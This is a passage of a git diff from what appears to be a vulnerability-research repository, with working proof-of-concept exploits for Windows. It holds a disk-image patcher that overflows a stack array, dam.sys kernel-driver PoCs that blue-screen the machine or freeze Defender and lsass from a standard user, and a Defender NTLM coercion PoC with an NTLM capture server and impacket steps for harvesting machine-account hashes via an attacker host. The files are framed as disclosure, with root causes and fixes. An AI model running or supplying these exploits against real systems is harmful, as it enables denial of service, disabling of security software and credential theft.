raise AssertionError( + f"metadata at 0x{disk_offset:x}: final count {final_count}, " + f"expected {target_count}" + ) + patches.append( + { + "disk_offset": disk_offset, + "disk_offset_hex": f"0x{disk_offset:x}", + "block_size": len(original), + "existing_type15_count": existing, + "added_type15_count": add_count, + "final_type15_count": final_count, + "before_sha256": sha256(original), + "after_sha256": sha256(modified), + "patch_detail": patch_detail, + "data": bytes(modified), + } + ) + return patches + + +def serializable_patch(patch: dict[str, object]) -> dict[str, object]: + return {key: value for key, value in patch.items() if key != "data"} + + +def main() -> int: + parser = argparse.ArgumentParser() + parser.add_argument("image", type=Path, help="powered-off flattened VDI") + parser.add_argument("--target-count", type=int, choices=(5, 6), required=True) + parser.add_argument("--expect-copies", type=int, default=3) + parser.add_argument("--apply", action="store_true", help="write patches in place") + parser.add_argument("--output", type=Path, help="JSON evidence path") + args = parser.parse_args() + + if args.expect_copies < 1: + parser.error("--expect-copies must be positive") + + with VdiImage(args.image, writable=args.apply) as image: + patches = build_patches(image, args.target_count, args.expect_copies) + if args.apply: + for patch in patches: + image.write(int(patch["disk_offset"]), patch["data"]) + image.flush() + for patch in patches: + disk_offset = int(patch["disk_offset"]) + persisted = image.read(disk_offset, int(patch["block_size"])) + if sha256(persisted) != patch["after_sha256"]: + raise OSError(f"post-write verification failed at 0x{disk_offset:x}") + if len(recovery_type15_children(persisted)) != args.target_count: + raise OSError(f"post-write count verification failed at 0x{disk_offset:x}") + + report = { + "image": str(image.path), + "file_size": image.path.stat().st_size, + "mode": "applied" if args.apply else "dry-run", + "target_type15_count": args.target_count, + "expected_metadata_copies": args.expect_copies, + "vdi": image.header.as_dict(), + "metadata": [serializable_patch(patch) for patch in patches], + "invariant": ( + "collector capacity is five; target five is control and target six " + "makes the selector consume one stack slot beyond the array" + ), + } + + rendered = json.dumps(report, indent=2) + "\n" + if args.output: + args.output.write_text(rendered, encoding="utf-8") + print(rendered, end="") + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/dam-sys-kernel-bugs/README.md b/dam-sys-kernel-bugs/README.md new file mode 100644 index 0000000..3c1034c --- /dev/null +++ b/dam-sys-kernel-bugs/README.md @@ -0,0 +1,149 @@ +# dam.sys — Kernel Bugs from Standard User (BSOD + Confused Deputy + Defender Freeze) + +Three vulnerabilities in the Windows Desktop Activity Moderator kernel driver (`dam.sys`), all reachable from a standard (non-admin) user via `\\.\DamCtrl`. The device is accessible to Everyone despite operating on arbitrary processes in kernel context. + +## Status + +Confirmed on Windows 11 Home 25H2 (build 26200.8457), dam.sys 10.0.26100.8328. + +## Files + +```text +. +|-- README.md +|-- bsod.c NULL pointer deref crash PoC +`-- freeze.c confused deputy + process freeze PoC +``` + +## Build + +``` +cl /O2 bsod.c +cl /O2 freeze.c +``` + +## Finding 1: Kernel NULL Pointer Dereference (BSOD) + +IOCTL `0x226014` (SetPolicy) takes a user-supplied PID and eventually dispatches to `DampExemptCheckCallbackRoutine`. When the target process's session ID has no entry in `DampUserContextList`, the linked list lookup falls through with `rdi = NULL` and the code unconditionally dereferences it: + +```asm +; No matching session context found: +xor ebx, ebx ; rbx = 0 (NULL) +mov rdi, rbx ; rdi = 0 (NULL) +mov rdx, [rdi] ; CRASH — reads from 0x0000000000000000 +mov rcx, r15 +call nt!ZwIsProcessInJob ; never reached +``` + +### Crash Evidence + +``` +BugCheck: SYSTEM_SERVICE_EXCEPTION (0x3B) +Exception: STATUS_ACCESS_VIOLATION (0xC0000005) +Faulting: dam!DampExemptCheckCallbackRoutine+0x17e +Stack: + dam!DampExemptCheckCallbackRoutine+0x17e <- NULL deref + nt!ExNotifyCallback+0x103 + dam!DampNotificationGroupGet+0x144 + dam!DampIoDispatch+0x4a8 <- IOCTL handler + nt!NtDeviceIoControlFile+0x5e <- our DeviceIoControl +``` + +Registers at crash: `rdi=0x0000000000000000`, `r13=0xFFFFFFFF` (invalid session ID). + +### Run + +``` +bsod.exe --confirm +``` + +Crashes the machine. Use a VM. + +--- + +## Finding 2: Confused Deputy — Add Any Process to DAM Job Object + +IOCTL `0x22A01C` takes an 8-byte PID input and calls `PsLookupProcessByProcessId` followed by `DampAddProcessToJobObject` — with **no access check** on whether the calling user should be able to manipulate the target process. The kernel uses its own Ring 0 privileges to add any process to DAM's internal job objects on behalf of an unprivileged user. + +```c +// dam.sys IOCTL 0x22A01C handler (decompiled) +iVar11 = PsLookupProcessByProcessId((uint)*puVar5, &local_98); +if (-1 < iVar11) { + uVar13 = PsGetProcessImageFileName(local_98); // info leak + iVar11 = PsQueryProcessCommandLine(local_98, 0); // info leak + iVar12 = PsGetProcessSessionId(local_98); + DampAddProcessToJobObject(local_98, ...); // NO ACCESS CHECK +} +``` + +### Confirmed + +``` +Testing with lsass.exe PID 1804... + Result: SUCCESS + [!!!] Standard user added lsass.exe to DAM job object +``` + +### Side Effect: Information Disclosure + +The handler also calls `PsGetProcessImageFileName` and `PsQueryProcessCommandLine` for the target PID — a standard user can read the image name and full command line (including arguments that may contain secrets) of any process. + +### Run + +``` +freeze.exe lsass.exe +``` + +Adds lsass to DAM's job object without freezing. Confirms the confused deputy. + +--- + +## Finding 3: Security Feature Bypass — Freeze Defender + +IOCTL `0x22A008` calls `DamSetState` to modify freeze flags, which triggers `DampFreezeUserSessions` → `ZwSetInformationJobObject` with `JobObjectFreezeInformation` (class 0x12), suspending all threads in DAM's job objects. + +Combined with Finding 2: + +1. Add all security processes (MsMpEng.exe, Defender services, Event Log, etc.) to DAM jobs via IOCTL `0x22A01C` +2. Trigger freeze via IOCTL `0x22A008` +3. Defender management plane becomes unresponsive — can't report status, receive config, or respond to queries + +```c +// DamSetState (decompiled) +DampFreezeWorkerAcquireLockExclusive(0x14000d400); +uVar3 = (*(int *)(param_1 + 0xc) == 2) ? 2 : 0; // freeze flag +uVar2 = (*(int *)(param_1 + 0xc) == 3) ? 4 : 0; // deep freeze flag +DAT_14000d47c = uVar4 | uVar2 | uVar3 | (DAT_14000d47c & 0xffffffb8); +DampFreezeWorkerUpdatePostAndUnlock(&DAT_14000d400); +// -> DampFreezeUserSessions -> ZwSetInformationJobObject(JobObjectFreezeInformation) +``` + +### Run + +``` +freeze.exe MsMpEng.exe --freeze +``` + +Actually freezes Defender. Don't run outside a VM. + +--- + +## Root Cause Summary + +| IOCTL | Bug | CWE | Impact | +| --- | --- | --- | --- | +| 0x226014 | NULL deref after failed session lookup | CWE-476 | BSOD from standard user | +| 0x22A01C | No access check on target PID | CWE-441, CWE-862 | Confused deputy, add any process to job | +| 0x22A008 | No access check on freeze control | CWE-862 | Freeze any process in DAM jobs | + +All three share the same underlying issue: `\\.\DamCtrl` is accessible to standard users, and the IOCTL handlers operate on arbitrary processes using kernel privileges without verifying caller authorization. + +## Fix + +1. **NULL check**: validate that the `DampUserContextList` lookup returned non-NULL before dereferencing +2. **Access checks**: verify the caller has appropriate rights on the target PID before calling `PsLookupProcessByProcessId` / `DampAddProcessToJobObject` +3. **Device DACL**: restrict `\\.\DamCtrl` to admin-only — standard users have no legitimate need for direct DAM driver interaction + +## Responsible Use + +Run these PoCs only on systems you own or are explicitly authorized to test. The BSOD PoC crashes the machine. The freeze PoC can render security services unresponsive. Use a VM. diff --git a/dam-sys-kernel-bugs/bsod.c b/dam-sys-kernel-bugs/bsod.c new file mode 100644 index 0000000..57cd0bf --- /dev/null +++ b/dam-sys-kernel-bugs/bsod.c @@ -0,0 +1,57 @@ +/* + * bsod.c — dam.sys kernel NULL pointer deref (BSOD from standard user) + * + * IOCTL 0x226014 (SetPolicy) triggers DampExemptCheckCallbackRoutine + * which dereferences a NULL pointer when no DAM session context exists + * for the target process's session ID. + * + * BugCheck: SYSTEM_SERVICE_EXCEPTION (0x3B) + * Faulting: dam!DampExemptCheckCallbackRoutine+0x17e + * mov rdx, [rdi] ; rdi = 0x0000000000000000 + * + * build: cl /O2 bsod.c + * run: bsod.exe --confirm [PID] + * + * WARNING: THIS WILL BSOD YOUR MACHINE. USE A VM. + */ + +#include +#include + +#define IOCTL_DAM_SET_POLICY 0x226014 + +int main(int argc, char *argv[]) { + printf("=== dam.sys kernel DoS PoC ===\n\n"); + + if (argc < 2 || strcmp(argv[1], "--confirm") != 0) { + printf("Usage: %s --confirm [PID]\n", argv[0]); + printf("WARNING: This causes a Blue Screen of Death.\n"); + printf("No admin required — works from standard user.\n"); + return 1; + } + + DWORD pid = (argc > 2) ? atoi(argv[2]) : 4; + printf("[*] target PID: %u\n", pid); + + HANDLE h = CreateFileW(L"\\\\.\\DamCtrl", GENERIC_READ | GENERIC_WRITE, + FILE_SHARE_READ | FILE_SHARE_WRITE, + NULL, OPEN_EXISTING, 0, NULL); + if (h == INVALID_HANDLE_VALUE) { + printf("[-] can't open \\\\.\\DamCtrl: error %u\n", GetLastError()); + return 1; + } + printf("[+] opened DamCtrl\n"); + + printf("[!] sending IOCTL 0x226014 — expect BSOD\n"); + + BYTE buf[16] = {0}; + *(DWORD *)buf = pid; + *(DWORD *)(buf + 4) = 1; + DWORD ret; + DeviceIoControl(h, IOCTL_DAM_SET_POLICY, buf, sizeof(buf), + buf, sizeof(buf), &ret, NULL); + + printf("[?] if you see this, try a different PID\n"); + CloseHandle(h); + return 0; +} diff --git a/dam-sys-kernel-bugs/freeze.c b/dam-sys-kernel-bugs/freeze.c new file mode 100644 index 0000000..8c0fe2e --- /dev/null +++ b/dam-sys-kernel-bugs/freeze.c @@ -0,0 +1,102 @@ +/* + * freeze.c — dam.sys confused deputy + process freeze PoC + * + * Step 1: IOCTL 0x22A01C adds any process (by PID) to DAM's internal + * job objects. The kernel driver calls PsLookupProcessByProcessId + * and ZwAssignProcessToJobObject with NO access check on the + * target — a standard user can add lsass.exe, csrss.exe, etc. + * + * Step 2: IOCTL 0x22A008 triggers DamSetState to freeze all processes + * in DAM's job objects via ZwSetInformationJobObject with + * JobObjectFreezeInformation (class 0x12). + * + * build: cl /O2 freeze.c + * run: freeze.exe [--freeze] + * + * WARNING: --freeze will actually freeze the target process. + * This can freeze lsass, csrss, Defender, etc. USE A VM. + */ + +#include +#include +#include + +#define IOCTL_DAM_ADD_TO_JOB 0x22A01C +#define IOCTL_DAM_SET_STATE 0x22A008 + +static DWORD find_pid(const char *name) { + HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (snap == INVALID_HANDLE_VALUE) return 0; + PROCESSENTRY32 pe = {.dwSize = sizeof(pe)}; + if (Process32First(snap, &pe)) { + do { + if (_stricmp(pe.szExeFile, name) == 0) { + CloseHandle(snap); + return pe.th32ProcessID; + } + } while (Process32Next(snap, &pe)); + } + CloseHandle(snap); + return 0; +} + +int main(int argc, char *argv[]) { + printf("=== dam.sys confused deputy + freeze PoC ===\n\n"); + + if (argc < 2) { + printf("Usage: %s [--freeze]\n\n", argv[0]); + printf(" Adds target process to DAM's job object (confused deputy).\n"); + printf(" --freeze: also triggers freeze via IOCTL 0x22A008 (DANGEROUS)\n"); + printf("\n Examples:\n"); + printf(" %s lsass.exe (add lsass to DAM job, no freeze)\n", argv[0]); + printf(" %s MsMpEng.exe --freeze (freeze Defender)\n", argv[0]); + return 1; + } + + int do_freeze = (argc > 2 && strcmp(argv[2], "--freeze") == 0); + + DWORD pid = find_pid(argv[1]); + if (!pid) { + printf("[-] process '%s' not found\n", argv[1]); + return 1; + } + printf("[*] target: %s (PID %u)\n", argv[1], pid); + + HANDLE h = CreateFileW(L"\\\\.\\DamCtrl", GENERIC_READ | GENERIC_WRITE, + FILE_SHARE_READ | FILE_SHARE_WRITE, + NULL, OPEN_EXISTING, 0, NULL); + if (h == INVALID_HANDLE_VALUE) { + printf("[-] can't open DamCtrl: error %u\n", GetLastError()); + return 1; + } + printf("[+] opened DamCtrl\n"); + + ULONGLONG pid_input = (ULONGLONG)pid; + DWORD ret; + BOOL ok = DeviceIoControl(h, IOCTL_DAM_ADD_TO_JOB, &pid_input, 8, + NULL, 0, &ret, NULL); + printf("[%c] add to job: %s (GetLastError=%u)\n", + ok ? '+' : '-', ok ? "SUCCESS" : "FAILED", GetLastError()); + + if (!ok) { + CloseHandle(h); + return 1; + } + + if (do_freeze) { + printf("[!] triggering freeze...\n"); + BYTE state[16] = {0}; + *(DWORD *)(state + 8) = 2; + *(DWORD *)(state + 12) = 2; + + ok = DeviceIoControl(h, IOCTL_DAM_SET_STATE, state, 16, + NULL, 0, &ret, NULL); + printf("[%c] set state: %s (GetLastError=%u)\n", + ok ? '+' : '-', ok ? "SUCCESS" : "FAILED", GetLastError()); + } else { + printf("[*] process added to DAM job. pass --freeze to actually freeze it.\n"); + } + + CloseHandle(h); + return 0; +} diff --git a/defender-ntlm-coercion-poc/README.md b/defender-ntlm-coercion-poc/README.md new file mode 100644 index 0000000..5d67eb4 --- /dev/null +++ b/defender-ntlm-coercion-poc/README.md @@ -0,0 +1,124 @@ +# Windows Defender NTLM Coercion - Standard User Forces SYSTEM Credential Leak + +Windows Defender (`MsMpEng.exe`, running as `NT AUTHORITY\SYSTEM`) processes custom scan requests from standard users without impersonating the caller. When the scan target is a UNC path (`\\attacker\share\file.exe`), Defender opens the file under its own SYSTEM context, so the SMB client authenticates to the remote server using the machine's NTLM credentials. + +There is a feature flag for this in MpSvc.dll called `MpFC_EnableImpersonationOnNetworkResourceScan`. Microsoft has actually pushed this flag to `1` (enabled) via their ECS cloud configuration service, but it does not work. The impersonation never happens. Both the ACL bypass and the NTLM coercion still reproduce with the flag set to 1, meaning Microsoft attempted a fix, deployed it, and the fix is broken. + +## Status + +Verified on Windows 11 24H2 (build 26200), Defender Platform 4.18.26060.3008-0. + +| Check | Result | +| --- | --- | +| SYSTEM-only file scan | Defender reads EICAR from file where user has zero access | +| SMB coercion | SYN_SENT to target:445 from PID 4 (System) on UNC scan | +| Impersonation gap | ~80 NOGUARD functions vs 1 GUARDED in MpSvc.dll | +| Feature flag | `MpFC_EnableImpersonationOnNetworkResourceScan` set to 1 via ECS but **ineffective** | +| Revalidated | 2026-07-09, flag=1, EICAR still detected through SYSTEM-only ACL | + +## PoC Status + +The ACL bypass proof (Part 1) is solid and fully working. The NTLM coercion trigger (Part 2) works too, you can see PID 4 reaching out on 445 with netstat. However, the capture server (`capture.py`) and the WebDAV listener path haven't been properly tested end-to-end with two machines yet. The listener implementation might still have issues. If you're reproducing this, using `impacket-smbserver` on a Linux box is the safer bet for actually grabbing the hash. + +## Files + +```text +. +|-- README.md +|-- poc.ps1 trigger + ACL bypass proof +`-- capture.py NTLM capture server (SSPI-based, might need fixes) +``` + +## Root Cause + +MpSvc.dll handles scan requests via RPC. The service opens target files using its own SYSTEM token without impersonating the requesting user's context. ImpersonationGap analysis shows ~80 functions reaching sensitive sinks (CreateFileW, etc.) with no impersonation call, versus only 1 with proper impersonation. + +When the target is a UNC path, the SYSTEM-context file open causes the SMB client to send the machine NTLM credentials to the remote host. + +### The Broken Fix + +The flag `MpFC_EnableImpersonationOnNetworkResourceScan` lives in: + +``` +HKLM\SOFTWARE\Microsoft\Windows Defender\Features\EcsConfigs +``` + +This is a cloud-pushed config from Microsoft's Experimentation and Configuration Service. On a stock Windows 11 install with no manual changes, it is set to `0x1`. Despite this, Defender still opens files as SYSTEM. Either the code path that checks this flag has a bug, or the flag gates something else entirely and the actual impersonation logic was never implemented. + +## ACL Bypass Proof + +Create an EICAR file with a SYSTEM-only ACL. The standard user gets Access Denied, but Defender still detects the EICAR signature. This proves the scan runs as SYSTEM, not as the requesting user. + +```powershell +$testFile = "$env:USERPROFILE\defender_acl_test\system_only_eicar.com" +$eicar = 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' +Set-Content -Path $testFile -Value $eicar -Encoding ascii + +$newAcl = New-Object System.Security.AccessControl.FileSecurity +$newAcl.SetAccessRuleProtection($true, $false) +$newAcl.AddAccessRule((New-Object System.Security.AccessControl.FileSystemAccessRule( + "NT AUTHORITY\SYSTEM", "FullControl", "Allow"))) +Set-Acl -Path $testFile -AclObject $newAcl + +Get-Content $testFile # Access Denied + +Start-MpScan -ScanType CustomScan -ScanPath $testFile +Get-MpThreatDetection | Where-Object { $_.Resources -match "system_only_eicar" } +# EICAR detected - Defender read the file as SYSTEM +``` + +Output (with flag=1, 2026-07-09): + +``` +ACL: NT AUTHORITY\SYSTEM -> FullControl (Allow) [only entry] +User read: "Access to the path '...\system_only_eicar.com' is denied." +Defender scan: completed (no error) +Detection: InitialDetect 07/09/2026 16:24:32, Resources: revalidate_eicar.com +Flag: MpFC_EnableImpersonationOnNetworkResourceScan = 1 (enabled, ineffective) +``` + +## NTLM Coercion + +Point a custom scan at a UNC path and monitor outgoing SMB. PID 4 (System kernel process) reaches out to the target on port 445: + +```powershell +Start-MpScan -ScanType CustomScan -ScanPath "\\ATTACKER_IP\share\file.exe" + +# monitor in another terminal: +while ($true) { + netstat -ano | Select-String "ATTACKER_IP:445" + Start-Sleep -Milliseconds 200 +} +``` + +``` +23:07:10.603 | TCP 192.168.1.111:7132 192.168.1.1:445 SYN_SENT 4 +23:07:10.812 | TCP 192.168.1.111:7132 192.168.1.1:445 SYN_SENT 4 +23:07:11.009 | TCP 192.168.1.111:7132 192.168.1.1:445 SYN_SENT 4 +[... all PID 4 ...] +``` + +## Hash Capture (Remote) + +On the attacker box (most reliable method): + +```bash +impacket-smbserver test /tmp/share -smb2support + +# output when scan triggers: +# [*] Incoming connection (VICTIM_IP,PORT) +# [*] AUTHENTICATE_MESSAGE (DOMAIN\MACHINE$, VICTIM) +# [*] NTLMv2-SSP Hash: MACHINE$::DOMAIN:... +``` + +There is also `capture.py` included which is a Windows SSPI HTTP/WebDAV capture server, but it hasn't been fully tested with two machines. Use impacket if you can. + +## Impact + +Standard user coerces SYSTEM NTLM creds from the machine. On a domain, this gives you the machine account hash, which opens the door to NTLM relay (SMB/LDAP/HTTP), RBCD escalation, or silver ticket forging depending on the environment. Locally, the ACL bypass alone confirms Defender reads arbitrary files as SYSTEM regardless of the file's ACL. + +Requires: standard user, outbound 445 not firewalled (or WebDAV on any port to an attacker host). + +## Fix + +Microsoft already has the flag and presumably the code path, but it doesn't work. They need to actually impersonate the calling user's token before opening files for on-demand scans, or reject UNC paths from non-admin callers altogether. diff --git a/defender-ntlm-coercion-poc/capture.py b/defender-ntlm-coercion-poc/capture.py new file mode 100644 index 0000000..5ed9180 --- /dev/null +++ b/defender-ntlm-coercion-poc/capture.py @@ -0,0 +1,223 @@ +""" +NTLM capture server (SSPI-based). Runs HTTP/WebDAV on any port. +Use on a remote host to grab NTLM creds coerced via Defender UNC scan. + + python capture.py [port] + +Trigger on victim: + Start-MpScan -ScanType CustomScan -ScanPath "\\ATTACKER_IP@PORT\DavWWWRoot\file.exe" + +Requires: pywin32 (pip install pywin32) +""" +import http.server +import socketserver +import base64 +import struct +import sys +import datetime +import os +import ctypes +import ctypes.wintypes + +try: + import sspi + import sspicon +except ImportError: + print("ERROR: pywin32 required. Install with: pip install pywin32") + sys.exit(1) + + +secur32 = ctypes.windll.secur32 +advapi32 = ctypes.windll.advapi32 +kernel32 = ctypes.windll.kernel32 + +secur32.ImpersonateSecurityContext.argtypes = [ctypes.c_void_p] +secur32.ImpersonateSecurityContext.restype = ctypes.c_long +secur32.RevertSecurityContext.argtypes = [ctypes.c_void_p] +secur32.RevertSecurityContext.restype = ctypes.c_long +advapi32.GetUserNameW.argtypes = [ctypes.c_wchar_p, ctypes.POINTER(ctypes.wintypes.DWORD)] +advapi32.GetUserNameW.restype = ctypes.wintypes.BOOL +advapi32.OpenThreadToken.argtypes = [ctypes.wintypes.HANDLE, ctypes.wintypes.DWORD, + ctypes.wintypes.BOOL, ctypes.POINTER(ctypes.wintypes.HANDLE)] +advapi32.OpenThreadToken.restype = ctypes.wintypes.BOOL +advapi32.GetTokenInformation.argtypes = [ctypes.wintypes.HANDLE, ctypes.c_int, ctypes.c_void_p, + ctypes.wintypes.DWORD, ctypes.POINTER(ctypes.wintypes.DWORD)] +advapi32.GetTokenInformation.restype = ctypes.wintypes.BOOL +advapi32.LookupAccountSidW.argtypes = [ctypes.c_wchar_p, ctypes.c_void_p, ctypes.c_wchar_p, + ctypes.POINTER(ctypes.wintypes.DWORD), ctypes.c_wchar_p, + ctypes.POINTER(ctypes.wintypes.DWORD), + ctypes.POINTER(ctypes.wintypes.DWORD)] +advapi32.LookupAccountSidW.restype = ctypes.wintypes.BOOL +kernel32.GetCurrentThread.argtypes = [] +kernel32.GetCurrentThread.restype = ctypes.wintypes.HANDLE + + +def query_identity(sspi_server): + ctxt = sspi_server.ctxt + if ctxt is None: + return "(no context)" + # pywin32 PyCtxtHandle: skip ob_refcnt + ob_type to get raw SecHandle + obj_addr = id(ctxt) + handle_ptr = ctypes.c_void_p(obj_addr + 16) + rc = secur32.ImpersonateSecurityContext(handle_ptr) + if rc != 0: + return f"(impersonation failed: {rc:#010x})" + buf = ctypes.create_unicode_buffer(256) + buf_sz = ctypes.wintypes.DWORD(256) + username = "(unknown)" + if advapi32.GetUserNameW(buf, ctypes.byref(buf_sz)): + username = buf.value + full_id = username + try: + hToken = ctypes.wintypes.HANDLE() + if advapi32.OpenThreadToken(kernel32.GetCurrentThread(), 0x0008, True, ctypes.byref(hToken)): + ret_len = ctypes.wintypes.DWORD(0) + advapi32.GetTokenInformation(hToken, 1, None, 0, ctypes.byref(ret_len)) + if ret_len.value > 0: + token_buf = ctypes.create_string_buffer(ret_len.value) + if advapi32.GetTokenInformation(hToken, 1, token_buf, ret_len.value, + ctypes.byref(ret_len)): + sid_ptr = ctypes.cast(token_buf, ctypes.POINTER(ctypes.c_void_p))[0] + name = ctypes.create_unicode_buffer(256) + name_sz = ctypes.wintypes.DWORD(256) + domain = ctypes.create_unicode_buffer(256) + domain_sz = ctypes.wintypes.DWORD(256) + sid_type = ctypes.wintypes.DWORD(0) + if advapi32.LookupAccountSidW(None, sid_ptr, name, ctypes.byref(name_sz), + domain, ctypes.byref(domain_sz), + ctypes.byref(sid_type)): + full_id = f"{domain.value}\\{name.value}" + kernel32.CloseHandle(hToken) + except Exception as e: + full_id = f"{username} (err: {e})" + secur32.RevertSecurityContext(handle_ptr) + return full_id + + +def parse_type3(data): + if len(data) < 52: + return {} + try: + dom_len = struct.unpack_from(" 401 (init NTLM)", flush=True) + self.send_response(401) + self.send_header("WWW-Authenticate", "NTLM") + self.send_header("Content-Length", "0") + self.send_header("Connection", "keep-alive") + self.end_headers() + return + if self.sspi_server is None: + self.sspi_server = sspi.ServerAuth("NTLM") + token_bytes = base64.b64decode(auth[5:]) + try: + err, sec_buffer = self.sspi_server.authorize(token_bytes) + except Exception as e: + print(f"[{ts}] SSPI error: {e}", flush=True) + self.send_response(401) + self.send_header("WWW-Authenticate", "NTLM") + self.send_header("Content-Length", "0") + self.send_header("Connection", "keep-alive") + self.end_headers() + return + if err == sspicon.SEC_I_CONTINUE_NEEDED: + out_token = sec_buffer[0].Buffer + challenge_b64 = base64.b64encode(out_token).decode() + print(f"[{ts}] Type 1 -> challenge ({len(out_token)} bytes)", flush=True) + self.send_response(401) + self.send_header("WWW-Authenticate", f"NTLM {challenge_b64}") + self.send_header("Content-Length", "0") + self.send_header("Connection", "keep-alive") + self.end_headers() + elif err == 0: + info = parse_type3(token_bytes) + identity = query_identity(self.sspi_server) + sep = "=" * 60 + print(f"\n{sep}", flush=True) + print(f"[{ts}] NTLM AUTH CAPTURED", flush=True) + print(f" SSPI Identity: {identity}", flush=True) + print(f" Type3 Domain: {info.get('domain', '?')}", flush=True) + print(f" Type3 User: {info.get('user', '?')}", flush=True) + print(f" Type3 Host: {info.get('hostname', '?')}", flush=True) + print(f" NT Response: {info.get('nt_len', '?')} bytes", flush=True) + print(f"{sep}\n", flush=True) + self.send_response(200) + self.send_header("Content-Type", "text/xml") + body = b'' + self.send_header("Content-Length", str(len(body))) + self.end_headers() + self.wfile.write(body) + else: + print(f"[{ts}] SSPI err: {err}", flush=True) + self.send_response(401) + self.send_header("Content-Length", "0") + self.end_headers() + + def log_message(self, fmt, *args): + pass + + def handle_one_request(self): + try: + super().handle_one_request() + except (ConnectionResetError, BrokenPipeError, ConnectionAbortedError, OSError): + self.close_connection = True + + +class ThreadedServer(socketserver.ThreadingMixIn, http.server.HTTPServer): + allow_reuse_address = True + daemon_threads = True + + +if __name__ == "__main__": + port = int(sys.argv[1]) if len(sys.argv) > 1 else 8888 + srv = ThreadedServer(("0.0.0.0", port), Handler) + print(f"[*] NTLM SSPI Capture Server on 0.0.0.0:{port}") + print(f"[*] Trigger: Start-MpScan -ScanPath '\\\\ATTACKER@{port}\\DavWWWRoot\\file.exe'") + sys.stdout.flush() + try: + srv.serve_forever() + except KeyboardInterrupt: + pass diff --git a/defender-ntlm-coercion-poc/poc.ps1 b/defender-ntlm-coercion-poc/poc.ps1 new file mode 100644 index 0000000..c2aa597 --- /dev/null +++ b/defender-ntlm-coercion-poc/poc.ps1 @@ -0,0 +1,135 @@ +# Defender NTLM Coercion PoC +# Part 1: ACL bypass (proves SYSTEM-context file access) +# Part 2: UNC scan triggers outgoing NTLM auth from PID 4 (System) +# Uses WebDAV (capture.py) by default. Pass -Port 445 for SMB (impacket). + +param( + [string]$AttackerIP = "192.168.1.1", + [int]$Port = 8888 +) + +$ErrorActionPreference = "Continue" + +# --- Part 1: ACL bypass --- + +Write-Host "" +Write-Host "--- ACL Bypass Test ---" +Write-Host "" + +$testDir = Join-Path $env:USERPROFILE "defender_acl_test" +New-Item -ItemType Directory -Path $testDir -Force | Out-Null + +$eicar = 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' +$testFile = Join-Path $testDir "system_only_eicar.com" +Set-Content -Path $testFile -Value $eicar -Encoding ascii -Force + +$newAcl = New-Object System.Security.AccessControl.FileSecurity +$newAcl.SetAccessRuleProtection($true, $false) +$systemRule = New-Object System.Security.AccessControl.FileSystemAccessRule( + "NT AUTHORITY\SYSTEM", "FullControl", "Allow") +$newAcl.AddAccessRule($systemRule) +Set-Acl -Path $testFile -AclObject $newAcl + +Write-Host ("[+] EICAR file with SYSTEM-only ACL: " + $testFile) + +$acl = Get-Acl $testFile +$acl.Access | ForEach-Object { + Write-Host (" " + $_.IdentityReference + " -> " + $_.FileSystemRights + " (" + $_.AccessControlType + ")") +} + +Write-Host "" +try { + $null = Get-Content $testFile -ErrorAction Stop + Write-Host "[!] User CAN read file (unexpected)" -ForegroundColor Red +} catch { + Write-Host "[+] User cannot read file (Access Denied)" -ForegroundColor Green +} + +Write-Host "" +Write-Host "[*] Triggering scan..." +$scanStart = Get-Date +Start-MpScan -ScanType CustomScan -ScanPath $testFile 2>$null +Start-Sleep -Seconds 3 + +$threats = Get-MpThreatDetection 2>$null | + Where-Object { $_.Resources -match "system_only_eicar" -and $_.InitialDetectionTime -ge $scanStart.AddSeconds(-5) } + +if ($threats) { + foreach ($t in $threats) { + Write-Host ("[+] Detected: " + $t.InitialDetectionTime + " | " + $t.Resources) + } + Write-Host "[+] Defender read the file as SYSTEM" -ForegroundColor Green +} else { + Write-Host "[!] No detection - Defender may have already quarantined EICAR" -ForegroundColor Yellow + Write-Host " Check: Get-MpThreat | Select ThreatName, IsActive" +} + +# --- Part 2: NTLM coercion --- + +Write-Host "" +Write-Host ("--- NTLM Coercion Test (target: " + $AttackerIP + ":" + $Port + ") ---") +Write-Host "" + +# WebDAV needs WebClient service running +if ($Port -ne 445) { + $wc = Get-Service WebClient -ErrorAction SilentlyContinue + if ($wc -and $wc.Status -ne "Running") { + Write-Host "[*] Starting WebClient service (needed for WebDAV)..." + Start-Service WebClient -ErrorAction SilentlyContinue + Start-Sleep -Seconds 1 + } + if (-not $wc) { + Write-Host "[!] WebClient service not found - WebDAV may not work" -ForegroundColor Yellow + } +} + +$logFile = Join-Path $env:TEMP "defender_ntlm_monitor.txt" +"" | Out-File $logFile -Encoding utf8 + +$monitorJob = Start-Job -ScriptBlock { + param($ip, $port, $logPath) + $end = (Get-Date).AddSeconds(15) + while ((Get-Date) -lt $end) { + $ts = Get-Date -Format "HH:mm:ss.fff" + $hits = netstat -ano 2>$null | Where-Object { $_ -match ($ip + ":" + $port) } + foreach ($h in $hits) { + $line = $ts + " | " + $h.Trim() + $line | Out-File $logPath -Append -Encoding utf8 + } + Start-Sleep -Milliseconds 200 + } +} -ArgumentList $AttackerIP, $Port, $logFile + +Start-Sleep -Seconds 1 + +if ($Port -eq 445) { + $uncPath = "\\" + $AttackerIP + "\ntlm_test\payload.exe" +} else { + $uncPath = "\\" + $AttackerIP + "@" + $Port + "\DavWWWRoot\file.exe" +} +Write-Host ("[*] Scanning: " + $uncPath) +Start-MpScan -ScanType CustomScan -ScanPath $uncPath 2>$null + +Wait-Job $monitorJob -Timeout 20 | Out-Null +Receive-Job $monitorJob 2>$null | Out-Null + +$results = Get-Content $logFile -ErrorAction SilentlyContinue | Where-Object { $_.Trim() } +if ($results) { + Write-Host "[+] Outgoing connections:" -ForegroundColor Green + $results | ForEach-Object { Write-Host (" " + $_) } + Write-Host "[+] PID 4 = System kernel - NTLM creds sent as SYSTEM" -ForegroundColor Green +} else { + Write-Host "[*] No connection captured - try a non-routable IP for persistent evidence" -ForegroundColor Yellow +} + +Write-Host "" +Write-Host "[*] Attacker setup:" +if ($Port -eq 445) { + Write-Host " impacket-smbserver test /tmp/share -smb2support" +} else { + Write-Host (" python capture.py " + $Port) +} + +# cleanup +Remove-Item $testDir -Recurse -Force -ErrorAction SilentlyContinue 2>$null +Remove-Job $monitorJob -Force -ErrorAction SilentlyContinue 2>$null diff --git a/defender-signature-lock-bypass/README.md b/defender-signature-lock-bypass/README.md new file mode 100644 index 0000000..5b89ef7 